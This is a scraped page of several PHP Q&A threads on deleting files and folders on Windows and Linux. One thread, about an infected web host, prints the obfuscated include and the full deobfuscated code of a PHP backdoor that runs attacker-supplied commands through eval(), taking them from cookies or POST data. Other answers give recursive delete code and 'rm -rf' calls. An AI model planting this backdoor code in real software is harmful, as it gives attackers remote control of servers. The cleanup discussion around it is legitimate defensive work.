Why in Windows might attempting to delete a file twice work? - php

I've been pulling my hair out trying to write a continuous integration script with PHP for the Windows machine I develop on.
Having cloned a Git repository, I was unable to make a script that deleted it all. (The .git folder and everything in them). I was getting "Permission denied" errors.
It seemed intermittent. I tried Phing, but that failed but lead me to this Phing ticket, so I'm not alone - but that solution using attrib didn't work for me.
I finally realised that it was just taking two attempts to delete some folders and/or files within it. So my PHP code that finally worked, was this:
<?php
function delTree($dir, $ignore = array()) {
// no need to continue if $dir doesn't exist
if (!file_exists($dir))
return true;
// must not continue if it's a link. trigger an error.
if (is_link($dir)) {
trigger_error("Cannot delete $dir: it's a link.", E_ERROR);
return false;
}
// if it's a file, delete it and return.
if (is_file($dir)) {
return tryUnlink($dir, 2);
}
// it's a directory. so...
// build an array of files/directories within it to delete
$files = array_diff(
scandir($dir), array('.', '..'), $ignore
);
// delete each directory within $dir
foreach ($files as $file) {
delTree("$dir/$file", $ignore);
}
// delete $dir itself
return tryRmdir($dir, 2);
}
function tryUnlink($file, $attempts = 2){
$result = unlink($file);
if (!$result) {
if ($attempts > 1){
return tryUnlink($file, $attempts--);
} else {
trigger_error("Cannot delete file $file", E_ERROR);
return false;
}
}
return true;
}
function tryRmdir($dir, $attempts = 2){
$result = rmdir($dir);
if (!$result) {
if ($attempts > 1){
return tryRmdir($dir, $attempts--);
} else {
trigger_error("Cannot delete directory $dir", E_ERROR);
return false;
}
}
return true;
}
And calling them with the $attempts argument set to 2 solved everything (12 hours later).
I'd tried things like chmoding the file to 0666, closing the IDE, closing SourceTree, any open explorer windows, wearing a tin foil hat, and even calling exec() with commands like:
rm -r .git -Force
rmdir .git /s /q
and probably 10 others that are buried somewhere in my repo now.
What might the cause have been?

Both you functions tryUnlink() and tryRmdir() will cause an infinite loop (unless it's actually deleted). Look at the following snippet + output.
code:
<?php
function foo ($attempts = 2) {
echo "attempts = $attempts\n";
if ($attempts > 1) {
foo ($attempts--);
} else {
echo "returning with \$attempts <= 1\n";
}
}
foo(2);
output:
attempts = 2
attempts = 2
attempts = 2
[...many many many dupes...]
attempts = 2
attempts = 2
attempts = 2
Segmentation fault (core dumped)
Given that it's not said that deletion kicks in on the second run.

As of Windows 7 (or perhaps Vista?) it is rare, but not abnormal, for the first attempt to remove a directory tree to fail. I think this due to a race condition due to the deletions being processed asynchronously by the file system.
As you've already discovered, you can work around this by retrying the operation; personally, I've never seen it fail twice in a row, though I usually allow it to retry three or four times to be on the safe side.

Related

My site is infected with obfuscated PHP malware - what is it doing + how do I get rid of it?

I have three websites all hosted on the same webserver. Recently I was working on one of the websites and noticed that, about a month ago, a bunch of files had been changed. Specifically, all instances of index.html had been renamed to index.html.bak.bak, and index.php files have been put in their places. The index.php files are relatively simple; they include a file hidden somewhere in each website's filesystem (seemingly a random folder) that's been obfuscated with JS hex encoding, then echo the original index.html:
<?php
/*2d4f2*/
#include "\x2fm\x6et\x2fs\x74o\x721\x2dw\x631\x2dd\x66w\x31/\x338\x304\x323\x2f4\x365\x380\x39/\x77w\x77.\x77e\x62s\x69t\x65.\x63o\x6d/\x77e\x62/\x63o\x6et\x65n\x74/\x77p\x2di\x6ec\x6cu\x64e\x73/\x6as\x2fs\x77f\x75p\x6co\x61d\x2ff\x61v\x69c\x6fn\x5f2\x391\x337\x32.\x69c\x6f";
/*2d4f2*/
echo file_get_contents('index.html.bak.bak');
The included file here was
/mnt/*snip*/www.website.com/web/content/wp-includes/js/swfupload/favicon_291372.ico
On another domain, it was
/mnt/*snip*/www.website2.com/web/content/wiki/maintenance/hiphop/favicon_249bed.ico
As you could probably guess, these aren't actually favicons - they're just php files with a different extension. Now, I have no clue what these files do (which is why I'm asking here). They were totally obfuscated, but https://malwaredecoder.com/ seems to be able to crack through it. The results can be found here, but I've pasted the de-obfuscated code below:
#ini_set('error_log', NULL);
#ini_set('log_errors', 0);
#ini_set('max_execution_time', 0);
#error_reporting(0);
#set_time_limit(0);
if(!defined("PHP_EOL"))
{
define("PHP_EOL", "\n");
}
if(!defined("DIRECTORY_SEPARATOR"))
{
define("DIRECTORY_SEPARATOR", "/");
}
if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
{
define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);
$data = NULL;
$data_key = NULL;
$GLOBALS['cs_auth'] = '8debdf89-dfb8-4968-8667-04713f279109';
global $cs_auth;
if (!function_exists('file_put_contents'))
{
function file_put_contents($n, $d, $flag = False)
{
$mode = $flag == 8 ? 'a' : 'w';
$f = #fopen($n, $mode);
if ($f === False)
{
return 0;
}
else
{
if (is_array($d)) $d = implode($d);
$bytes_written = fwrite($f, $d);
fclose($f);
return $bytes_written;
}
}
}
if (!function_exists('file_get_contents'))
{
function file_get_contents($filename)
{
$fhandle = fopen($filename, "r");
$fcontents = fread($fhandle, filesize($filename));
fclose($fhandle);
return $fcontents;
}
}
function cs_get_current_filepath()
{
return trim(preg_replace("/\(.*\$/", '', __FILE__));
}
function cs_decrypt_phase($data, $key)
{
$out_data = "";
for ($i=0; $i<strlen($data);)
{
for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
{
$out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
}
}
return $out_data;
}
function cs_decrypt($data, $key)
{
global $cs_auth;
return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
}
function cs_encrypt($data, $key)
{
global $cs_auth;
return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
}
function cs_get_plugin_config()
{
$self_content = #file_get_contents(cs_get_current_filepath());
$config_pos = strpos($self_content, md5(cs_get_current_filepath()));
if ($config_pos !== FALSE)
{
$config = substr($self_content, $config_pos + 32);
$plugins = #unserialize(cs_decrypt(base64_decode($config), md5(cs_get_current_filepath())));
}
else
{
$plugins = Array();
}
return $plugins;
}
function cs_set_plugin_config($plugins)
{
$config_enc = base64_encode(cs_encrypt(#serialize($plugins), md5(cs_get_current_filepath())));
$self_content = #file_get_contents(cs_get_current_filepath());
$config_pos = strpos($self_content, md5(cs_get_current_filepath()));
if ($config_pos !== FALSE)
{
$config_old = substr($self_content, $config_pos + 32);
$self_content = str_replace($config_old, $config_enc, $self_content);
}
else
{
$self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc;
}
#file_put_contents(cs_get_current_filepath(), $self_content);
}
function cs_plugin_add($name, $base64_data)
{
$plugins = cs_get_plugin_config();
$plugins[$name] = base64_decode($base64_data);
cs_set_plugin_config($plugins);
}
function cs_plugin_rem($name)
{
$plugins = cs_get_plugin_config();
unset($plugins[$name]);
cs_set_plugin_config($plugins);
}
function cs_plugin_load($name=NULL)
{
foreach (cs_get_plugin_config() as $pname=>$pcontent)
{
if ($name)
{
if (strcmp($name, $pname) == 0)
{
eval($pcontent);
break;
}
}
else
{
eval($pcontent);
}
}
}
foreach ($_COOKIE as $key=>$value)
{
$data = $value;
$data_key = $key;
}
if (!$data)
{
foreach ($_POST as $key=>$value)
{
$data = $value;
$data_key = $key;
}
}
$data = #unserialize(cs_decrypt(base64_decode($data), $data_key));
if (isset($data['ak']) && $cs_auth==$data['ak'])
{
if ($data['a'] == 'i')
{
$i = Array(
'pv' => #phpversion(),
'sv' => '2.0-1',
'ak' => $data['ak'],
);
echo #serialize($i);
exit;
}
elseif ($data['a'] == 'e')
{
eval($data['d']);
}
elseif ($data['a'] == 'plugin')
{
if($data['sa'] == 'add')
{
cs_plugin_add($data['p'], $data['d']);
}
elseif($data['sa'] == 'rem')
{
cs_plugin_rem($data['p']);
}
}
echo $data['ak'];
}
cs_plugin_load();
}
In addition, there is a file called init5.php in one of the website's content folders, which after deobfuscating as much as possible, becomes:
$GLOBALS['893\Gt3$3'] = $_POST;
$GLOBALS['S9]<\<\$'] = $_COOKIE;
#>P>r"$,('$66N6rTNj', NULL);
#>P>r"$,('TNjr$66N6"', 0);
#>P>r"$,('k3'r$'$9#,>NPr,>k$', 0);
#"$,r,>k$rT>k>,(0);
$w6f96424 = NULL;
$s02c4f38 = NULL;
global $y10a790;
function a31f0($w6f96424, $afb8d)
{
$p98c0e = "";
for ($r035e7=0; $r035e7<",6T$P($w6f96424);)
{
for ($l545=0; $l545<",6T$P($afb8d) && $r035e7<",6T$P($w6f96424); $l545++, $r035e7++)
{
$p98c0e .= 9)6(N6`($w6f96424[$r035e7]) ^ N6`($afb8d[$l545]));
}
}
return $p98c0e;
}
function la30956($w6f96424, $afb8d)
{
global $y10a790;
return 3\x9<(3\x9<($w6f96424, $y10a790), $afb8d);
}
foreach ($GLOBALS['S9]<\<\$'] as $afb8d=>$ua56c9d)
{
$w6f96424 = $ua56c9d;
$s02c4f38 = $afb8d;
}
if (!$w6f96424)
{
foreach ($GLOBALS['893\Gt3$3'] as $afb8d=>$ua56c9d)
{
$w6f96424 = $ua56c9d;
$s02c4f38 = $afb8d;
}
}
$w6f96424 = ##P"$6>3T>a$(T3\<]tO(R3"$OIr`$9N`$($w6f96424), $s02c4f38));
if (isset($w6f96424['38']) && $y10a790==$w6f96424['38'])
{
if ($w6f96424['3'] == '>')
{
$r035e7 = Array(
'#=' => ##)#=$6">NP(),
'"=' => 'x%<Fx',
);
echo #"$6>3T>a$($r035e7);
}
elseif ($w6f96424['3'] == '$')
{
eval($w6f96424['`']);
}
}
There are more obfuscated PHP files the more I look, which is kinda scary. There's tons of them. Even Wordpress' index.php files seem to have been infected; the obfuscated #includes have been added to them. In addition, on one of the websites, there's a file titled 'ssh' that seems to be some kind of binary file (maybe the 'ssh' program itself?)
Does anyone know what these are or do? How did they get on my server? How can I get rid of them and make sure they never comes back?
Some other info: my webhost is Laughing Squid; I have no shell access. The server runs Linux, Apache 2.4, and PHP 5.6.29. Thank you!
You can't trust anything on the server at this point.
Reinstall the OS
Reinstall known good copies of your code with a clean or known-good version of the database.
At this point there's no use in just replacing/deleting "bad" files because the attacker could have done absolutely anything ranging from "nothing" to replacing system level software with hacked versions that will do anything desired. Just for an example, at one point someone wrote malware into a compiler so even if the executable was rebuilt, the maware was still there, also it prevented the debugger from detecting it.
There are various cleaners available, but they rely on knowing/detecting/undoing everything the attacker might have done, which is impossible.
If you had good daily backups, you could do a diff between the "what you have" and "what you had before" and see what has changed, however you would still need to carefully examine or restore your database since many attacks involve changing data, not code.
This is not a hack you need to trash your sites and server over. It is just a php hack. Get rid of all of the malicious php files and code and you'll be good. Here is how I did it on drupal. http://rankinstudio.com/Drupal_ico_index_hack
I had this same malware. There are 10 to 15 files the malware adds or modifies. I used the Quttera WordPress plug-in(free) to find the files. Most of the files can just be deleted (Be careful, Quttera ids more than are actually infected) but some WordPress files were modified and must be replaced.
Had to write myself one PHP script to scan the whole server tree, listing all directory paths, and one to scan those paths for infections. Can only partly clean, but provides much needed help with the pedestrian cleanup.
NOTE:
It's poorly written, and probably should be removed after use. But it helped me.
A zipped copy is here.
No guarantees; unzip it and take a look what you put on your server, before uploading it!
Update: Now cleans more (not all!). Follow up with hand-cleaning (see below).
I had the same problem.
It is caused by malicious http post requests.
Here is a good article about how to stop it:
The following in a .htaccess file will stop all post requests.
https://perishablepress.com/protect-post-requests/
# deny all POST requests
<IfModule mod_rewrite.c>
RewriteCond %{REQUEST_METHOD} POST
RewriteRule .* - [F,L]
</IfModule>
I haven't found yet, how to prevent these files from appearing on my server, yet i'm able to get rid of them, here's a oneliner crawling down the folders and removing them:
find . -type f -name 'favicon_*.ico' -delete -print

Background Script to Check File Transfer

I have to write a script that checks the progress of a file transfer that a background batch is doing. I know the number of files that the folder need to have to have the "complete" status. I'm trying the following in a background PHP:
$id = $_GET['id'];
$qtd = $_GET['qtd'];
checkProgress($id, $qtd);
function checkProgress($qtd, $id) {
$dirWav = "D:\\path\\to\\wav\\".$id."\\";
$dirMP3 = "D:\\path\\to\\mp3\\".$id."\\";
$progWav = array_diff( scandir($dirWav), array(".", "..") );
$progMP3 = array_diff( scandir($dirMP3), array(".", "..") );
$numWav = count($progWav);
$numMP3 = count($progMP3);
if ($numMP3 < $qtd OR $numWav < $qtd) {
sleep(5);
checkProgress($qtd, $id); //Here i'm trying to do it in a recursive way
} else {
//End script, record to the DB
}
}
I'm sure that the folder beign checked are empty on start, and that the batch is running flawless. But at the start of the script, it automatically goes to the end (I used a mkdir to check it in a lazy way).
How can I achieve what I want? I cannot check it via cronjob or something like that.
This is Powershell but I'd guess the overall function would apply to a batch file. Take input as two paths, run a FOR loop to count the files and compare. See here for counting files in a FOR loop.
Function Count-Folders{
Param
(
[parameter(Mandatory=$true,Position=1)][string]$source,
[parameter(Mandatory=$true,Position=2)][string]$dest
)
$path = #(gci -Path $source -dir)
$path2 = #(gci -Path $dest -dir)
If($path.Length -eq $path2.Length){
"Matches"
} Else{
"input folder counts do not match, check again!!!"
}

delete json-file with php

I'm writing a json-file inside a generated folder. After an hour I want to delete the folder with its content automatically.
I tried:
$dir = "../tmpDir";
$cdir = scandir($dir);
foreach ($cdir as $key => $value)
{
if (!in_array($value,array(".","..")))
{
if (is_dir($dir.'/'.$value))
{
if(filectime($dir.'/'.$value)< (time()-3600))
{ // after 1 hour
$files = glob($dir.'/'.$value); // get all file names
foreach($files as $file)
{ // iterate files
if(is_file($file))
{
unlink($file); // delete file
}
}
rmdir($dir.'/'.$value);
/*destroy the session if the folder is deleted*/
if(isset($_SESSION["dirname"]) && $_SESSION["dirname"] == $value)
{
session_unset(); // unset $_SESSION variable for the run-time
session_destroy(); // destroy session data in storage
}
}
}
}
}
I get: rmdir(../tmpDir/1488268867): Directory not empty in /Applications/MAMP/htdocs/.... on line 46
if I remove the
if(is_file($file))
{
}
I get a permission error
Maybe someone knows why I get this error
It's much easier to use your native O/S to delete the directory when it comes to things like these, so you don't have to write a horrible loop that may have some edge cases that you could miss and then end up deleting things you shouldn't have!
$path = 'your/path/here';
if (PHP_OS !== 'WINDOWS')
{
exec(sprintf('rm -rf %s', $path));
}
else
{
exec(sprintf('rd /s /q %s', $path));
}
Of course, tailor the above to your needs. You can also use the backtick operator if you want to avoid the overhead of a function call (negligible in this case, anyway). It's also probably a good idea to use escape_shell_arg for your $path variable.
For a one-liner:
exec(sprintf((PHP_OS === 'WINDOWS') ? 'rd /s /q %s' : 'rm -rf %s', escape_shell_arg($path)));
Regardless, sometimes it's easier to let the O/S of choice perform file operations.
rmdir() removes directory if u want remove file then you should use unlink() function
Proper aporach would be using DirectoryIterator or glob() and looping through files then deleting them and after you do it you can remove empty directory.
You can also call system command rm -rf direcory_name with exec() or shell_exec()
useful links:
Delete directory with files in it?
How to delete a folder with contents using PHP
PHP: Unlink All Files Within A Directory, and then Deleting That Directory
I've found pretty useful function on php.net that removes hidden files as well
public function delTree($dir) {
$files = array_diff(scandir($dir), array('.','..'));
foreach ($files as $file) {
(is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file");
}
return rmdir($dir);
}

PHP overwriting file issues

I have a problem while overwriting a file. I tried everthing but SOMETIMES (maybe for a matter of time) nothings seems to work as it should. Here's the code:
include_once "changevar.php";
changevar("O",$seguimedia,$filename,0);
changevar("o",$offerta,$filename,0);
$seguimedia, $filename and $offerta are correctly set.
changevar.php:
function changevar($varname,$newval,$filename,$type)
{
while(!$fp=fopen($filename,"c+"))
{
usleep(100000);
}
while(!flock($fp,LOCK_EX))
{
usleep(100000);
}
while(!include($filename))
{
usleep(100000);
}
ftruncate($fp,0);
rewind($fp);
$$varname=$newval;
if($type==0)
{
foreach(array("u","p","t","d") as $v){$$v=str_replace("\\","\\\\",$$v);}
$text="<?\$o=$o;\$u=\"$u\";\$c=$c;\$m=$m;\$p=\"$p\";\$C=$C;\$id=\"$id\";\$t=\"$t\";\$d=\"$d\";\$O=$O;?>";
}
else
{
$text="<?\$impressions=$impressions;\$clickunici=$clickunici;\$clicknulli=$clicknulli;\$creditiguadagnati=$creditiguadagnati;\$creditiacquistati=$creditiacquistati;\$creditiutilizzati=$creditiutilizzati;?>";
}
fwrite($fp,$text);
flock($fp,LOCK_UN);
fclose($fp);
}
In this case the function changevar() has to change two variables ($o and $O) in the file $filename but often it fails and nothing changes. How can I fix this?
Make sure you have write permissions and correct user set to change the file content. You can do that with chown and chmod in linux systems. Not sure if its an issue on windows boxes.
see http://php.net/manual/en/function.chmod.php and http://www.php.net/manual/en/function.chown.php

PHP Auto Delete an Array of Unwanted Files From All Folders on Server Script

I have a couple of PHP scripts for deleting error_log, .DS_Store etc files from all folders on my entire server. I simply have these scripts uploaded to my root (public_html) and visit them periodically when I want to do a little cleanup. When I visit the URL of where the scripts are loaded it automatically gets to work. That's all perfect and how I'd like to continue using it.
However, I'd love to consolidate this automation into just one script where I can list an array of the undesirable files like so:
$unwanted_filenames = array(
'.DS_Store',
'.localized',
'Thumbs.db',
'error_log'
);
And simply run through all folders and delete all the files of which I've listed in the array.
The scripts I use now are overkill, listing out every individual file and how much it's freed up etc. I'm a minimalist and would love the simplest script with the least amount of code to just get the job done.
So when I visit the page it automatically get's to work, a white screen of nothing is fine and then maybe a simple "Done. Freed up 3MB." message. That's it.
OK - here's the shortest but of PHP I can think of that'll do it:
$unwanted_filenames = array(
'.DS_Store',
'.localized',
'Thumbs.db',
'error_log'
);
$it = new RecursiveDirectoryIterator("/"); // Set starting directory here
foreach(new RecursiveIteratorIterator($it) as $file) {
if (in_array(basename($file), $unwanted_filenames)) {
#unlink($file); // THe # hides errors, remove if you want to see them
}
}
Hopefully self-explanatory - and yes, it does subdirectories (that's the "recursive" bit).
And you said minamalistic, so I didn't include the freed space, but just add a $FreedSpace += filesize($file) before the unlink if you want to add that in.
I'm using this, you can do it like this:
<?php
$dir = "/var/www/vhosts/"; //Write your dirname here
$rii = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir));
$total_thumbs = 0;
$total_ds = 0;
foreach ($rii as $file) {
if ($file->isDir()){
continue;
}
$parcala = explode('.', $file->getFilename());
$uzanti = end($parcala);
if ($file->getFilename() == 'Thumbs.db') {
unlink($file->getPathname());
$total_thumbs++;
}
if ($uzanti == '.DS_Store' || $file->getFilename() == 'DS_Store' || $file->getFilename() == '.DS_Store') {
unlink($file->getPathname());
$total_ds++;
}
}
echo $total_thumbs . ' Thumbs.db file and ' . $total_ds . ' DS_Store file deleted!';
And if you want automation you can use Cronjob

Categories